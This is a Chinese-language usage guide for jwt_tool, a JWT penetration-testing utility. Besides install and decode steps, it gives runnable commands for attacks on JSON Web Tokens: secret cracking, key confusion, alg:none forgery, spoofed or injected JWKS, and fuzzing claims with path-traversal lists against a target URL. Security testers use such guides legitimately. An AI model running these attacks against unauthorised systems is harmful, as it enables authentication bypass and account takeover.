使用jwt_tool
安装:
jwt_tool
使用原生Python 3库编写。依赖项用于HTTP传输、颜色和视觉效果,以及加密过程,如签名和验证RSA/ECDSA/PSS令牌、生成和重构公钥/私钥,以及其他一些实用任务。
要获取jwt_tool
的副本,只需在终端中使用git clone:
$ git clone https://github.com/ticarpi/jwt_tool
从pip安装依赖项:
$ python3 -m pip install termcolor cprint pycryptodomex requests
基本用法:
运行jwt_tool并查看使用信息:
$ python3 jwt_tool.py -h
处理令牌并读取解码的声明和值:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
使用公钥验证令牌:
$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem
或
$ python3 jwt_tool.py JWT_HERE -V -jw my_public_jwks.json
开始交互式修改头部和负载声明:
$ python3 jwt_tool.py JWT_HERE -T
向应用程序发送令牌
现在所有模式都允许直接将令牌发送到应用程序。
你需要指定:
- 目标URL (-t)
- 应用程序需要的请求头 (-rh) 或请求cookie (-rc)(至少一个必须包含令牌)
- (可选)任何POST数据(如果请求是POST)
- (可选)任何额外的jwt_tool选项,如模式或修改/注入选项
- (可选)金丝雀值 (-cv) - 你期望在成功使用令牌时看到的文本值(例如"Welcome, ticarpi")
一个示例请求可能如下所示(使用扫描模式进行强制错误):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er
运行扫描
从包含的扫描选项中选择以运行自动JWT评估:
M pb
= 剧本扫描M er
= 强制错误扫描M at
= 所有测试 - 运行所有扫描模式
使用提供的令牌直接针对应用程序运行剧本扫描,以寻找常见的配置错误:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb
使用提供的令牌直接针对应用程序运行强制错误扫描,以寻找常见的配置错误:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb
常见攻击
尝试破解/猜测密钥(HMAC算法):
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
或
$ python3 jwt_tool.py JWT_HERE -C -p password_here
使用已知公钥对非对称密码(RS-、EC-、PS-)尝试"密钥混淆"攻击:
$ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
尝试使用"none"算法创建未验证的令牌:
$ python3 jwt_tool.py JWT_HERE -X a
伪造远程JWKS:使用首次运行时自动生成的RSA密钥,并在提供的URL (-ju) 处提供JWKS - 或将URL添加到你的jwtconf.ini配置文件中 - 并使用私钥签名令牌:
$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json
将内联JWKS注入到JWT头部:使用首次运行时自动生成的RSA密钥,将公钥导出为JSON Web密钥存储对象,注入到JWT头部,并使用私钥签名令牌:
$ python3 jwt_tool.py JWT_HERE -X i
签名令牌
使用已知的密钥/密码签名令牌:
$ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem
$ python3 jwt_tool.py JWT_HERE -S hs256 -p jwt-secret-key
注入和模糊测试声明
注入(新的或现有的)头部和负载声明(-hc/-pc)- 使用匹配的头部和负载值(-hv/-pv)匹配声明和值:
$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2 -pc payload1 -pv testval3
通过为任何一个(最多)负载或头部值(-hv/pv)指定文本文件来模糊测试头部和负载声明的值:
$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv fuzzing_list.txt -hc header2 -hv testval2 -pc payload1 -pv testval3
查询日志文件
通过查询任何请求/令牌的唯一ID来读取请求的值和数据:
$ python3 jwt_tool.py -Q jwttool_2c9c0b6a92d982148241ea599e7c5871
综合运用
你可以将这些选项的组合链接起来,以执行复杂的交互/令牌生成。
例如,你可以指定一个令牌并模糊测试值,然后使用漏洞(如alg:none)或已知密钥进行签名:
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -X a
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -S es512 -pk jwttool_custom_private_EC.pem -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test"
尝试组合各种选项,看看你能使它变得多么复杂!
参考链接:https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool